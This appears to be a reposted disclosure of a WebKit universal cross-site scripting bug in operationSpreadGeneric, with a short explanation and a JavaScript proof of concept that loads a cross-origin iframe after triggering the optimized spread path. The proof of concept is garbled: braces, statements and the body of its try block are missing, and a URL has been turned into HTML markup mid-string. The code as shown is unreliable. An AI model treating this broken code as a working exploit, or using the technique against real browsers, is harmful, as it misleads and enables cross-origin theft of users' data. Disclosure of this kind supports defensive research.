WebKit operationSpreadGeneric Universal Cross Site Scripting

WebKit suffers from a universal cross site scripting vulnerability in operationSpreadGeneric.

MD5 | 74e0f69b83604b02e982c2ee87385931

 WebKit: UXSS via operationSpreadGeneric 

Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602., <a href="https://crrev.com/210957" title="" class="" rel="nofollow">r210957</a>)


'use strict';

function spread(a) {
return [...a];

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;

try {
} catch (e) {

f.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Found by: lokihardt

Related Posts